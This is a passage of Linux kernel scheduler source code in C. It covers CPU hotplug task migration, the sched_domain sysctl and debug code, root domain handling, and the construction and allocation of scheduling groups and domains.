mmdrop(mm);
}
/*
* Since this CPU is going 'away' for a while, fold any nr_active delta
* we might have. Assumes we're called after migrate_tasks() so that the
* nr_active count is stable.
*
* Also see the comment "Global load-average calculations".
*/
static void calc_load_migrate(struct rq *rq)
{
long delta = calc_load_fold_active(rq);
if (delta)
atomic_long_add(delta, &calc_load_tasks);
}
/*
* Migrate all tasks from the rq, sleeping tasks will be migrated by
* try_to_wake_up()->select_task_rq().
*
* Called with rq->lock held even though we'er in stop_machine() and
* there's no concurrency possible, we hold the required locks anyway
* because of lock validation efforts.
*/
static void migrate_tasks(unsigned int dead_cpu)
{
struct rq *rq = cpu_rq(dead_cpu);
struct task_struct *next, *stop = rq->stop;
int dest_cpu;
/*
* Fudge the rq selection such that the below task selection loop
* doesn't get stuck on the currently eligible stop task.
*
* We're currently inside stop_machine() and the rq is either stuck
* in the stop_machine_cpu_stop() loop, or we're executing this code,
* either way we should never end up calling schedule() until we're
* done here.
*/
rq->stop = NULL;
for ( ; ; ) {
/*
* There's this thread running, bail when that's the only
* remaining thread.
*/
if (rq->nr_running == 1)
break;
next = pick_next_task(rq);
BUG_ON(!next);
next->sched_class->put_prev_task(rq, next);
/* Find suitable destination for @next, with force if needed. */
dest_cpu = select_fallback_rq(dead_cpu, next);
raw_spin_unlock(&rq->lock);
__migrate_task(next, dead_cpu, dest_cpu);
raw_spin_lock(&rq->lock);
}
rq->stop = stop;
}
#endif /* CONFIG_HOTPLUG_CPU */
#if defined(CONFIG_SCHED_DEBUG) && defined(CONFIG_SYSCTL)
static struct ctl_table sd_ctl_dir[] = {
{
.procname = "sched_domain",
.mode = 0555,
},
{}
};
static struct ctl_table sd_ctl_root[] = {
{
.procname = "kernel",
.mode = 0555,
.child = sd_ctl_dir,
},
{}
};
static struct ctl_table *sd_alloc_ctl_entry(int n)
{
struct ctl_table *entry =
kcalloc(n, sizeof(struct ctl_table), GFP_KERNEL);
return entry;
}
static void sd_free_ctl_entry(struct ctl_table **tablep)
{
struct ctl_table *entry;
/*
* In the intermediate directories, both the child directory and
* procname are dynamically allocated and could fail but the mode
* will always be set. In the lowest directory the names are
* static strings and all have proc handlers.
*/
for (entry = *tablep; entry->mode; entry++) {
if (entry->child)
sd_free_ctl_entry(&entry->child);
if (entry->proc_handler == NULL)
kfree(entry->procname);
}
kfree(*tablep);
*tablep = NULL;
}
static int min_load_idx = 0;
static int max_load_idx = CPU_LOAD_IDX_MAX-1;
static void
set_table_entry(struct ctl_table *entry,
const char *procname, void *data, int maxlen,
umode_t mode, proc_handler *proc_handler,
bool load_idx)
{
entry->procname = procname;
entry->data = data;
entry->maxlen = maxlen;
entry->mode = mode;
entry->proc_handler = proc_handler;
if (load_idx) {
entry->extra1 = &min_load_idx;
entry->extra2 = &max_load_idx;
}
}
static struct ctl_table *
sd_alloc_ctl_domain_table(struct sched_domain *sd)
{
struct ctl_table *table = sd_alloc_ctl_entry(13);
if (table == NULL)
return NULL;
set_table_entry(&table[0], "min_interval", &sd->min_interval,
sizeof(long), 0644, proc_doulongvec_minmax, false);
set_table_entry(&table[1], "max_interval", &sd->max_interval,
sizeof(long), 0644, proc_doulongvec_minmax, false);
set_table_entry(&table[2], "busy_idx", &sd->busy_idx,
sizeof(int), 0644, proc_dointvec_minmax, true);
set_table_entry(&table[3], "idle_idx", &sd->idle_idx,
sizeof(int), 0644, proc_dointvec_minmax, true);
set_table_entry(&table[4], "newidle_idx", &sd->newidle_idx,
sizeof(int), 0644, proc_dointvec_minmax, true);
set_table_entry(&table[5], "wake_idx", &sd->wake_idx,
sizeof(int), 0644, proc_dointvec_minmax, true);
set_table_entry(&table[6], "forkexec_idx", &sd->forkexec_idx,
sizeof(int), 0644, proc_dointvec_minmax, true);
set_table_entry(&table[7], "busy_factor", &sd->busy_factor,
sizeof(int), 0644, proc_dointvec_minmax, false);
set_table_entry(&table[8], "imbalance_pct", &sd->imbalance_pct,
sizeof(int), 0644, proc_dointvec_minmax, false);
set_table_entry(&table[9], "cache_nice_tries",
&sd->cache_nice_tries,
sizeof(int), 0644, proc_dointvec_minmax, false);
set_table_entry(&table[10], "flags", &sd->flags,
sizeof(int), 0644, proc_dointvec_minmax, false);
set_table_entry(&table[11], "name", sd->name,
CORENAME_MAX_SIZE, 0444, proc_dostring, false);
/* &table[12] is terminator */
return table;
}
static ctl_table *sd_alloc_ctl_cpu_table(int cpu)
{
struct ctl_table *entry, *table;
struct sched_domain *sd;
int domain_num = 0, i;
char buf[32];
for_each_domain(cpu, sd)
domain_num++;
entry = table = sd_alloc_ctl_entry(domain_num + 1);
if (table == NULL)
return NULL;
i = 0;
for_each_domain(cpu, sd) {
snprintf(buf, 32, "domain%d", i);
entry->procname = kstrdup(buf, GFP_KERNEL);
entry->mode = 0555;
entry->child = sd_alloc_ctl_domain_table(sd);
entry++;
i++;
}
return table;
}
static struct ctl_table_header *sd_sysctl_header;
static void register_sched_domain_sysctl(void)
{
int i, cpu_num = num_possible_cpus();
struct ctl_table *entry = sd_alloc_ctl_entry(cpu_num + 1);
char buf[32];
WARN_ON(sd_ctl_dir[0].child);
sd_ctl_dir[0].child = entry;
if (entry == NULL)
return;
for_each_possible_cpu(i) {
snprintf(buf, 32, "cpu%d", i);
entry->procname = kstrdup(buf, GFP_KERNEL);
entry->mode = 0555;
entry->child = sd_alloc_ctl_cpu_table(i);
entry++;
}
WARN_ON(sd_sysctl_header);
sd_sysctl_header = register_sysctl_table(sd_ctl_root);
}
/* may be called multiple times per register */
static void unregister_sched_domain_sysctl(void)
{
if (sd_sysctl_header)
unregister_sysctl_table(sd_sysctl_header);
sd_sysctl_header = NULL;
if (sd_ctl_dir[0].child)
sd_free_ctl_entry(&sd_ctl_dir[0].child);
}
#else
static void register_sched_domain_sysctl(void)
{
}
static void unregister_sched_domain_sysctl(void)
{
}
#endif
static void set_rq_online(struct rq *rq)
{
if (!rq->online) {
const struct sched_class *class;
cpumask_set_cpu(rq->cpu, rq->rd->online);
rq->online = 1;
for_each_class(class) {
if (class->rq_online)
class->rq_online(rq);
}
}
}
static void set_rq_offline(struct rq *rq)
{
if (rq->online) {
const struct sched_class *class;
for_each_class(class) {
if (class->rq_offline)
class->rq_offline(rq);
}
cpumask_clear_cpu(rq->cpu, rq->rd->online);
rq->online = 0;
}
}
/*
* migration_call - callback that gets triggered when a CPU is added.
* Here we can start up the necessary migration thread for the new CPU.
*/
static int __cpuinit
migration_call(struct notifier_block *nfb, unsigned long action, void *hcpu)
{
int cpu = (long)hcpu;
unsigned long flags;
struct rq *rq = cpu_rq(cpu);
switch (action & ~CPU_TASKS_FROZEN) {
case CPU_UP_PREPARE:
rq->calc_load_update = calc_load_update;
break;
case CPU_ONLINE:
/* Update our root-domain */
raw_spin_lock_irqsave(&rq->lock, flags);
if (rq->rd) {
BUG_ON(!cpumask_test_cpu(cpu, rq->rd->span));
set_rq_online(rq);
}
raw_spin_unlock_irqrestore(&rq->lock, flags);
break;
#ifdef CONFIG_HOTPLUG_CPU
case CPU_DYING:
sched_ttwu_pending();
/* Update our root-domain */
raw_spin_lock_irqsave(&rq->lock, flags);
if (rq->rd) {
BUG_ON(!cpumask_test_cpu(cpu, rq->rd->span));
set_rq_offline(rq);
}
migrate_tasks(cpu);
BUG_ON(rq->nr_running != 1); /* the migration thread */
raw_spin_unlock_irqrestore(&rq->lock, flags);
break;
case CPU_DEAD:
calc_load_migrate(rq);
break;
#endif
}
update_max_interval();
return NOTIFY_OK;
}
/*
* Register at high priority so that task migration (migrate_all_tasks)
* happens before everything else. This has to be lower priority than
* the notifier in the perf_event subsystem, though.
*/
static struct notifier_block __cpuinitdata migration_notifier = {
.notifier_call = migration_call,
.priority = CPU_PRI_MIGRATION,
};
static int __cpuinit sched_cpu_active(struct notifier_block *nfb,
unsigned long action, void *hcpu)
{
switch (action & ~CPU_TASKS_FROZEN) {
case CPU_DOWN_FAILED:
set_cpu_active((long)hcpu, true);
return NOTIFY_OK;
default:
return NOTIFY_DONE;
}
}
static int __cpuinit sched_cpu_inactive(struct notifier_block *nfb,
unsigned long action, void *hcpu)
{
switch (action & ~CPU_TASKS_FROZEN) {
case CPU_DOWN_PREPARE:
set_cpu_active((long)hcpu, false);
return NOTIFY_OK;
default:
return NOTIFY_DONE;
}
}
static int __init migration_init(void)
{
void *cpu = (void *)(long)smp_processor_id();
int err;
/* Initialize migration for the boot CPU */
err = migration_call(&migration_notifier, CPU_UP_PREPARE, cpu);
BUG_ON(err == NOTIFY_BAD);
migration_call(&migration_notifier, CPU_ONLINE, cpu);
register_cpu_notifier(&migration_notifier);
/* Register cpu active notifiers */
cpu_notifier(sched_cpu_active, CPU_PRI_SCHED_ACTIVE);
cpu_notifier(sched_cpu_inactive, CPU_PRI_SCHED_INACTIVE);
return 0;
}
early_initcall(migration_init);
#endif
#ifdef CONFIG_SMP
static cpumask_var_t sched_domains_tmpmask; /* sched_domains_mutex */
#ifdef CONFIG_SCHED_DEBUG
static __read_mostly int sched_domain_debug_enabled;
static int __init sched_domain_debug_setup(char *str)
{
sched_domain_debug_enabled = 1;
return 0;
}
early_param("sched_debug", sched_domain_debug_setup);
static int sched_domain_debug_one(struct sched_domain *sd, int cpu, int level,
struct cpumask *groupmask)
{
struct sched_group *group = sd->groups;
char str[256];
cpulist_scnprintf(str, sizeof(str), sched_domain_span(sd));
cpumask_clear(groupmask);
printk(KERN_DEBUG "%*s domain %d: ", level, "", level);
if (!(sd->flags & SD_LOAD_BALANCE)) {
printk("does not load-balance\n");
if (sd->parent)
printk(KERN_ERR "ERROR: !SD_LOAD_BALANCE domain"
" has parent");
return -1;
}
printk(KERN_CONT "span %s level %s\n", str, sd->name);
if (!cpumask_test_cpu(cpu, sched_domain_span(sd))) {
printk(KERN_ERR "ERROR: domain->span does not contain "
"CPU%d\n", cpu);
}
if (!cpumask_test_cpu(cpu, sched_group_cpus(group))) {
printk(KERN_ERR "ERROR: domain->groups does not contain"
" CPU%d\n", cpu);
}
printk(KERN_DEBUG "%*s groups:", level + 1, "");
do {
if (!group) {
printk("\n");
printk(KERN_ERR "ERROR: group is NULL\n");
break;
}
if (!group->sgp->power) {
printk(KERN_CONT "\n");
printk(KERN_ERR "ERROR: domain->cpu_power not "
"set\n");
break;
}
if (!cpumask_weight(sched_group_cpus(group))) {
printk(KERN_CONT "\n");
printk(KERN_ERR "ERROR: empty group\n");
break;
}
if (cpumask_intersects(groupmask, sched_group_cpus(group))) {
printk(KERN_CONT "\n");
printk(KERN_ERR "ERROR: repeated CPUs\n");
break;
}
cpumask_or(groupmask, groupmask, sched_group_cpus(group));
cpulist_scnprintf(str, sizeof(str), sched_group_cpus(group));
printk(KERN_CONT " %s", str);
if (group->sgp->power != SCHED_POWER_SCALE) {
printk(KERN_CONT " (cpu_power = %d)",
group->sgp->power);
}
group = group->next;
} while (group != sd->groups);
printk(KERN_CONT "\n");
if (!cpumask_equal(sched_domain_span(sd), groupmask))
printk(KERN_ERR "ERROR: groups don't span domain->span\n");
if (sd->parent &&
!cpumask_subset(groupmask, sched_domain_span(sd->parent)))
printk(KERN_ERR "ERROR: parent span is not a superset "
"of domain->span\n");
return 0;
}
static void sched_domain_debug(struct sched_domain *sd, int cpu)
{
int level = 0;
if (!sched_domain_debug_enabled)
return;
if (!sd) {
printk(KERN_DEBUG "CPU%d attaching NULL sched-domain.\n", cpu);
return;
}
printk(KERN_DEBUG "CPU%d attaching sched-domain:\n", cpu);
for (;;) {
if (sched_domain_debug_one(sd, cpu, level, sched_domains_tmpmask))
break;
level++;
sd = sd->parent;
if (!sd)
break;
}
}
#else /* !CONFIG_SCHED_DEBUG */
# define sched_domain_debug(sd, cpu) do { } while (0)
#endif /* CONFIG_SCHED_DEBUG */
static int sd_degenerate(struct sched_domain *sd)
{
if (cpumask_weight(sched_domain_span(sd)) == 1)
return 1;
/* Following flags need at least 2 groups */
if (sd->flags & (SD_LOAD_BALANCE |
SD_BALANCE_NEWIDLE |
SD_BALANCE_FORK |
SD_BALANCE_EXEC |
SD_SHARE_CPUPOWER |
SD_SHARE_PKG_RESOURCES)) {
if (sd->groups != sd->groups->next)
return 0;
}
/* Following flags don't use groups */
if (sd->flags & (SD_WAKE_AFFINE))
return 0;
return 1;
}
static int
sd_parent_degenerate(struct sched_domain *sd, struct sched_domain *parent)
{
unsigned long cflags = sd->flags, pflags = parent->flags;
if (sd_degenerate(parent))
return 1;
if (!cpumask_equal(sched_domain_span(sd), sched_domain_span(parent)))
return 0;
/* Flags needing groups don't count if only 1 group in parent */
if (parent->groups == parent->groups->next) {
pflags &= ~(SD_LOAD_BALANCE |
SD_BALANCE_NEWIDLE |
SD_BALANCE_FORK |
SD_BALANCE_EXEC |
SD_SHARE_CPUPOWER |
SD_SHARE_PKG_RESOURCES);
if (nr_node_ids == 1)
pflags &= ~SD_SERIALIZE;
}
if (~cflags & pflags)
return 0;
return 1;
}
static void free_rootdomain(struct rcu_head *rcu)
{
struct root_domain *rd = container_of(rcu, struct root_domain, rcu);
cpupri_cleanup(&rd->cpupri);
free_cpumask_var(rd->rto_mask);
free_cpumask_var(rd->online);
free_cpumask_var(rd->span);
kfree(rd);
}
static void rq_attach_root(struct rq *rq, struct root_domain *rd)
{
struct root_domain *old_rd = NULL;
unsigned long flags;
raw_spin_lock_irqsave(&rq->lock, flags);
if (rq->rd) {
old_rd = rq->rd;
if (cpumask_test_cpu(rq->cpu, old_rd->online))
set_rq_offline(rq);
cpumask_clear_cpu(rq->cpu, old_rd->span);
/*
* If we dont want to free the old_rt yet then
* set old_rd to NULL to skip the freeing later
* in this function:
*/
if (!atomic_dec_and_test(&old_rd->refcount))
old_rd = NULL;
}
atomic_inc(&rd->refcount);
rq->rd = rd;
cpumask_set_cpu(rq->cpu, rd->span);
if (cpumask_test_cpu(rq->cpu, cpu_active_mask))
set_rq_online(rq);
raw_spin_unlock_irqrestore(&rq->lock, flags);
if (old_rd)
call_rcu_sched(&old_rd->rcu, free_rootdomain);
}
static int init_rootdomain(struct root_domain *rd)
{
memset(rd, 0, sizeof(*rd));
if (!alloc_cpumask_var(&rd->span, GFP_KERNEL))
goto out;
if (!alloc_cpumask_var(&rd->online, GFP_KERNEL))
goto free_span;
if (!alloc_cpumask_var(&rd->rto_mask, GFP_KERNEL))
goto free_online;
if (cpupri_init(&rd->cpupri) != 0)
goto free_rto_mask;
return 0;
free_rto_mask:
free_cpumask_var(rd->rto_mask);
free_online:
free_cpumask_var(rd->online);
free_span:
free_cpumask_var(rd->span);
out:
return -ENOMEM;
}
/*
* By default the system creates a single root-domain with all cpus as
* members (mimicking the global state we have today).
*/
struct root_domain def_root_domain;
static void init_defrootdomain(void)
{
init_rootdomain(&def_root_domain);
atomic_set(&def_root_domain.refcount, 1);
}
static struct root_domain *alloc_rootdomain(void)
{
struct root_domain *rd;
rd = kmalloc(sizeof(*rd), GFP_KERNEL);
if (!rd)
return NULL;
if (init_rootdomain(rd) != 0) {
kfree(rd);
return NULL;
}
return rd;
}
static void free_sched_groups(struct sched_group *sg, int free_sgp)
{
struct sched_group *tmp, *first;
if (!sg)
return;
first = sg;
do {
tmp = sg->next;
if (free_sgp && atomic_dec_and_test(&sg->sgp->ref))
kfree(sg->sgp);
kfree(sg);
sg = tmp;
} while (sg != first);
}
static void free_sched_domain(struct rcu_head *rcu)
{
struct sched_domain *sd = container_of(rcu, struct sched_domain, rcu);
/*
* If its an overlapping domain it has private groups, iterate and
* nuke them all.
*/
if (sd->flags & SD_OVERLAP) {
free_sched_groups(sd->groups, 1);
} else if (atomic_dec_and_test(&sd->groups->ref)) {
kfree(sd->groups->sgp);
kfree(sd->groups);
}
kfree(sd);
}
static void destroy_sched_domain(struct sched_domain *sd, int cpu)
{
call_rcu(&sd->rcu, free_sched_domain);
}
static void destroy_sched_domains(struct sched_domain *sd, int cpu)
{
for (; sd; sd = sd->parent)
destroy_sched_domain(sd, cpu);
}
/*
* Keep a special pointer to the highest sched_domain that has
* SD_SHARE_PKG_RESOURCE set (Last Level Cache Domain) for this
* allows us to avoid some pointer chasing select_idle_sibling().
*
* Also keep a unique ID per domain (we use the first cpu number in
* the cpumask of the domain), this allows us to quickly tell if
* two cpus are in the same cache domain, see cpus_share_cache().
*/
DEFINE_PER_CPU(struct sched_domain *, sd_llc);
DEFINE_PER_CPU(int, sd_llc_size);
DEFINE_PER_CPU(int, sd_llc_id);
static void update_top_cache_domain(int cpu)
{
struct sched_domain *sd;
int id = cpu;
int size = 1;
sd = highest_flag_domain(cpu, SD_SHARE_PKG_RESOURCES);
if (sd) {
id = cpumask_first(sched_domain_span(sd));
size = cpumask_weight(sched_domain_span(sd));
}
rcu_assign_pointer(per_cpu(sd_llc, cpu), sd);
per_cpu(sd_llc_size, cpu) = size;
per_cpu(sd_llc_id, cpu) = id;
}
/*
* Attach the domain 'sd' to 'cpu' as its base domain. Callers must
* hold the hotplug lock.
*/
static void
cpu_attach_domain(struct sched_domain *sd, struct root_domain *rd, int cpu)
{
struct rq *rq = cpu_rq(cpu);
struct sched_domain *tmp;
unsigned long next_balance = rq->next_balance;
/* Remove the sched domains which do not contribute to scheduling. */
for (tmp = sd; tmp; ) {
struct sched_domain *parent = tmp->parent;
if (!parent)
break;
if (sd_parent_degenerate(tmp, parent)) {
tmp->parent = parent->parent;
if (parent->parent)
parent->parent->child = tmp;
destroy_sched_domain(parent, cpu);
} else
tmp = tmp->parent;
}
if (sd && sd_degenerate(sd)) {
tmp = sd;
sd = sd->parent;
destroy_sched_domain(tmp, cpu);
if (sd)
sd->child = NULL;
}
for (tmp = sd; tmp; ) {
unsigned long interval;
interval = msecs_to_jiffies(tmp->balance_interval);
if (time_after(next_balance, tmp->last_balance + interval))
next_balance = tmp->last_balance + interval;
tmp = tmp->parent;
}
rq->next_balance = next_balance;
sched_domain_debug(sd, cpu);
rq_attach_root(rq, rd);
tmp = rq->sd;
rcu_assign_pointer(rq->sd, sd);
destroy_sched_domains(tmp, cpu);
update_top_cache_domain(cpu);
}
/* cpus with isolated domains */
static cpumask_var_t cpu_isolated_map;
/* Setup the mask of cpus configured for isolated domains */
static int __init isolated_cpu_setup(char *str)
{
alloc_bootmem_cpumask_var(&cpu_isolated_map);
cpulist_parse(str, cpu_isolated_map);
return 1;
}
__setup("isolcpus=", isolated_cpu_setup);
#ifdef CONFIG_NUMA
/**
* find_next_best_node - find the next node to include in a sched_domain
* @node: node whose sched_domain we're building
* @used_nodes: nodes already in the sched_domain
*
* Find the next node to include in a given scheduling domain. Simply
* finds the closest node not already in the @used_nodes map.
*
* Should use nodemask_t.
*/
static int find_next_best_node(int node, nodemask_t *used_nodes)
{
int i, n, val, min_val, best_node = -1;
min_val = INT_MAX;
for (i = 0; i < nr_node_ids; i++) {
/* Start at @node */
n = (node + i) % nr_node_ids;
if (!nr_cpus_node(n))
continue;
/* Skip already used nodes */
if (node_isset(n, *used_nodes))
continue;
/* Simple min distance search */
val = node_distance(node, n);
if (val < min_val) {
min_val = val;
best_node = n;
}
}
if (best_node != -1)
node_set(best_node, *used_nodes);
return best_node;
}
/**
* sched_domain_node_span - get a cpumask for a node's sched_domain
* @node: node whose cpumask we're constructing
* @span: resulting cpumask
*
* Given a node, construct a good cpumask for its sched_domain to span. It
* should be one that prevents unnecessary balancing, but also spreads tasks
* out optimally.
*/
static void sched_domain_node_span(int node, struct cpumask *span)
{
nodemask_t used_nodes;
int i;
cpumask_clear(span);
nodes_clear(used_nodes);
cpumask_or(span, span, cpumask_of_node(node));
node_set(node, used_nodes);
for (i = 1; i < SD_NODES_PER_DOMAIN; i++) {
int next_node = find_next_best_node(node, &used_nodes);
if (next_node < 0)
break;
cpumask_or(span, span, cpumask_of_node(next_node));
}
}
static const struct cpumask *cpu_node_mask(int cpu)
{
lockdep_assert_held(&sched_domains_mutex);
sched_domain_node_span(cpu_to_node(cpu), sched_domains_tmpmask);
return sched_domains_tmpmask;
}
static const struct cpumask *cpu_allnodes_mask(int cpu)
{
return cpu_possible_mask;
}
#endif /* CONFIG_NUMA */
static const struct cpumask *cpu_cpu_mask(int cpu)
{
return cpumask_of_node(cpu_to_node(cpu));
}
struct sd_data {
struct sched_domain **__percpu sd;
struct sched_group **__percpu sg;
struct sched_group_power **__percpu sgp;
};
struct s_data {
struct sched_domain ** __percpu sd;
struct root_domain *rd;
};
enum s_alloc {
sa_rootdomain,
sa_sd,
sa_sd_storage,
sa_none,
};
struct sched_domain_topology_level;
typedef struct sched_domain *(*sched_domain_init_f)(struct sched_domain_topology_level *tl, int cpu);
typedef const struct cpumask *(*sched_domain_mask_f)(int cpu);
#define SDTL_OVERLAP 0x01
struct sched_domain_topology_level {
sched_domain_init_f init;
sched_domain_mask_f mask;
int flags;
struct sd_data data;
};
static int
build_overlap_sched_groups(struct sched_domain *sd, int cpu)
{
struct sched_group *first = NULL, *last = NULL, *groups = NULL, *sg;
const struct cpumask *span = sched_domain_span(sd);
struct cpumask *covered = sched_domains_tmpmask;
struct sd_data *sdd = sd->private;
struct sched_domain *child;
int i;
cpumask_clear(covered);
for_each_cpu(i, span) {
struct cpumask *sg_span;
if (cpumask_test_cpu(i, covered))
continue;
sg = kzalloc_node(sizeof(struct sched_group) + cpumask_size(),
GFP_KERNEL, cpu_to_node(cpu));
if (!sg)
goto fail;
sg_span = sched_group_cpus(sg);
child = *per_cpu_ptr(sdd->sd, i);
if (child->child) {
child = child->child;
cpumask_copy(sg_span, sched_domain_span(child));
} else
cpumask_set_cpu(i, sg_span);
cpumask_or(covered, covered, sg_span);
sg->sgp = *per_cpu_ptr(sdd->sgp, cpumask_first(sg_span));
atomic_inc(&sg->sgp->ref);
if (cpumask_test_cpu(cpu, sg_span))
groups = sg;
if (!first)
first = sg;
if (last)
last->next = sg;
last = sg;
last->next = first;
}
sd->groups = groups;
return 0;
fail:
free_sched_groups(first, 0);
return -ENOMEM;
}
static int get_group(int cpu, struct sd_data *sdd, struct sched_group **sg)
{
struct sched_domain *sd = *per_cpu_ptr(sdd->sd, cpu);
struct sched_domain *child = sd->child;
if (child)
cpu = cpumask_first(sched_domain_span(child));
if (sg) {
*sg = *per_cpu_ptr(sdd->sg, cpu);
(*sg)->sgp = *per_cpu_ptr(sdd->sgp, cpu);
atomic_set(&(*sg)->sgp->ref, 1); /* for claim_allocations */
}
return cpu;
}
/*
* build_sched_groups will build a circular linked list of the groups
* covered by the given span, and will set each group's ->cpumask correctly,
* and ->cpu_power to 0.
*
* Assumes the sched_domain tree is fully constructed
*/
static int
build_sched_groups(struct sched_domain *sd, int cpu)
{
struct sched_group *first = NULL, *last = NULL;
struct sd_data *sdd = sd->private;
const struct cpumask *span = sched_domain_span(sd);
struct cpumask *covered;
int i;
get_group(cpu, sdd, &sd->groups);
atomic_inc(&sd->groups->ref);
if (cpu != cpumask_first(sched_domain_span(sd)))
return 0;
lockdep_assert_held(&sched_domains_mutex);
covered = sched_domains_tmpmask;
cpumask_clear(covered);
for_each_cpu(i, span) {
struct sched_group *sg;
int group = get_group(i, sdd, &sg);
int j;
if (cpumask_test_cpu(i, covered))
continue;
cpumask_clear(sched_group_cpus(sg));
sg->sgp->power = 0;
for_each_cpu(j, span) {
if (get_group(j, sdd, NULL) != group)
continue;
cpumask_set_cpu(j, covered);
cpumask_set_cpu(j, sched_group_cpus(sg));
}
if (!first)
first = sg;
if (last)
last->next = sg;
last = sg;
}
last->next = first;
return 0;
}
/*
* Initialize sched groups cpu_power.
*
* cpu_power indicates the capacity of sched group, which is used while
* distributing the load between different sched groups in a sched domain.
* Typically cpu_power for all the groups in a sched domain will be same unless
* there are asymmetries in the topology. If there are asymmetries, group
* having more cpu_power will pickup more load compared to the group having
* less cpu_power.
*/
static void init_sched_groups_power(int cpu, struct sched_domain *sd)
{
struct sched_group *sg = sd->groups;
WARN_ON(!sd || !sg);
do {
sg->group_weight = cpumask_weight(sched_group_cpus(sg));
sg = sg->next;
} while (sg != sd->groups);
if (cpu != group_first_cpu(sg))
return;
update_group_power(sd, cpu);
atomic_set(&sg->sgp->nr_busy_cpus, sg->group_weight);
}
int __weak arch_sd_sibling_asym_packing(void)
{
return 0*SD_ASYM_PACKING;
}
/*
* Initializers for schedule domains
* Non-inlined to reduce accumulated stack pressure in build_sched_domains()
*/
#ifdef CONFIG_SCHED_DEBUG
# define SD_INIT_NAME(sd, type) sd->name = #type
#else
# define SD_INIT_NAME(sd, type) do { } while (0)
#endif
#define SD_INIT_FUNC(type) \
static noinline struct sched_domain * \
sd_init_##type(struct sched_domain_topology_level *tl, int cpu) \
{ \
struct sched_domain *sd = *per_cpu_ptr(tl->data.sd, cpu); \
*sd = SD_##type##_INIT; \
SD_INIT_NAME(sd, type); \
sd->private = &tl->data; \
return sd; \
}
SD_INIT_FUNC(CPU)
#ifdef CONFIG_NUMA
SD_INIT_FUNC(ALLNODES)
SD_INIT_FUNC(NODE)
#endif
#ifdef CONFIG_SCHED_SMT
SD_INIT_FUNC(SIBLING)
#endif
#ifdef CONFIG_SCHED_MC
SD_INIT_FUNC(MC)
#endif
#ifdef CONFIG_SCHED_BOOK
SD_INIT_FUNC(BOOK)
#endif
static int default_relax_domain_level = -1;
int sched_domain_level_max;
static int __init setup_relax_domain_level(char *str)
{
unsigned long val;
val = simple_strtoul(str, NULL, 0);
if (val < sched_domain_level_max)
default_relax_domain_level = val;
return 1;
}
__setup("relax_domain_level=", setup_relax_domain_level);
static void set_domain_attribute(struct sched_domain *sd,
struct sched_domain_attr *attr)
{
int request;
if (!attr || attr->relax_domain_level < 0) {
if (default_relax_domain_level < 0)
return;
else
request = default_relax_domain_level;
} else
request = attr->relax_domain_level;
if (request < sd->level) {
/* turn off idle balance on this domain */
sd->flags &= ~(SD_BALANCE_WAKE|SD_BALANCE_NEWIDLE);
} else {
/* turn on idle balance on this domain */
sd->flags |= (SD_BALANCE_WAKE|SD_BALANCE_NEWIDLE);
}
}
static void __sdt_free(const struct cpumask *cpu_map);
static int __sdt_alloc(const struct cpumask *cpu_map);
static void __free_domain_allocs(struct s_data *d, enum s_alloc what,
const struct cpumask *cpu_map)
{
switch (what) {
case sa_rootdomain:
if (!atomic_read(&d->rd->refcount))
free_rootdomain(&d->rd->rcu); /* fall through */
case sa_sd:
free_percpu(d->sd); /* fall through */
case sa_sd_storage:
__sdt_free(cpu_map); /* fall through */
case sa_none:
break;
}
}
static enum s_alloc __visit_domain_allocation_hell(struct s_data *d,
const struct cpumask *cpu_map)
{
memset(d, 0, sizeof(*d));
if (__sdt_alloc(cpu_map))
return sa_sd_storage;
d->sd = alloc_percpu(struct sched_domain *);
if (!d->sd)
return sa_sd_storage;
d->rd = alloc_rootdomain();
if (!d->rd)
return sa_sd;
return sa_rootdomain;
}
/*
* NULL the sd_data elements we've used to build the sched_domain and
* sched_group structure so that the subsequent __free_domain_allocs()
* will not free the data we're using.
*/
static void claim_allocations(int cpu, struct sched_domain *sd)
{
struct sd_data *sdd = sd->private;
WARN_ON_ONCE(*per_cpu_ptr(sdd->sd, cpu) != sd);
*per_cpu_ptr(sdd->sd, cpu) = NULL;
if (atomic_read(&(*per_cpu_ptr(sdd->sg, cpu))->ref))
*per_cpu_ptr(sdd->sg, cpu) = NULL;
if (atomic_read(&(*per_cpu_ptr(sdd->sgp, cpu))->ref))
*per_cpu_ptr(sdd->sgp, cpu) = NULL;
}
#ifdef CONFIG_SCHED_SMT
static const struct cpumask *cpu_smt_mask(int cpu)
{
return topology_thread_cpumask(cpu);
}
#endif
/*
* Topology list, bottom-up.
*/
static struct sched_domain_topology_level default_topology[] = {
#ifdef CONFIG_SCHED_SMT
{ sd_init_SIBLING, cpu_smt_mask, },
#endif
#ifdef CONFIG_SCHED_MC
{ sd_init_MC, cpu_coregroup_mask, },
#endif
#ifdef CONFIG_SCHED_BOOK
{ sd_init_BOOK, cpu_book_mask, },
#endif
{ sd_init_CPU, cpu_cpu_mask, },
#ifdef CONFIG_NUMA
{ sd_init_NODE, cpu_node_mask, SDTL_OVERLAP, },
{ sd_init_ALLNODES, cpu_allnodes_mask, },
#endif
{ NULL, },
};
static struct sched_domain_topology_level *sched_domain_topology = default_topology;
static int __sdt_alloc(const struct cpumask *cpu_map)
{
struct sched_domain_topology_level *tl;
int j;
for (tl = sched_domain_topology; tl->init; tl++) {
struct sd_data *sdd = &tl->data;
sdd->sd = alloc_percpu(struct sched_domain *);
if (!sdd->sd)
return -ENOMEM;
sdd->sg = alloc_percpu(struct sched_group *);
if (!sdd->sg)
return -ENOMEM;
sdd->sgp = alloc_percpu(struct sched_group_power *);
if (!sdd->sgp)
return -ENOMEM;
for_each_cpu(j, cpu_map) {
struct sched_domain *sd;
struct sched_group *sg;
struct sched_group_power *sgp;
sd = kzalloc_node(sizeof(struct sched_domain) + cpumask_size(),
GFP_KERNEL, cpu_to_node(j));
if (!sd)
return -ENOMEM;
*per_cpu_ptr(sdd->sd, j) = sd;
sg = kzalloc_node(sizeof(struct sched_group) + cpumask_size(),
GFP_KERNEL, cpu_to_node(j));
if (!sg)
return -ENOMEM;
sg->next = sg;
*per_cpu_ptr(sdd->sg, j) = sg;
sgp = kzalloc_node(sizeof(struct sched_group_power),
GFP_KERNEL, cpu_to_node(j));
if (!sgp)
return -ENOMEM;
*per_cpu_ptr(sdd->sgp, j) = sgp;
}
}
return 0;
}
static void __sdt_free(const struct cpumask *cpu_map)
{
struct sched_domain_topology_level *tl;
int j;
for (tl = sched_domain_topology; tl->init; tl++) {
struct sd_data *sdd = &tl->data;
for_each_cpu(j, cpu_map) {
struct sched_domain *sd;
if (sdd->sd) {
sd = *per_cpu_ptr(sdd->sd, j);
if (sd && (sd->flags & SD_OVERLAP))
free_sched_groups(sd->groups, 0);
kfree(*per_cpu_ptr(sdd->sd, j));
}
if (sdd->sg)
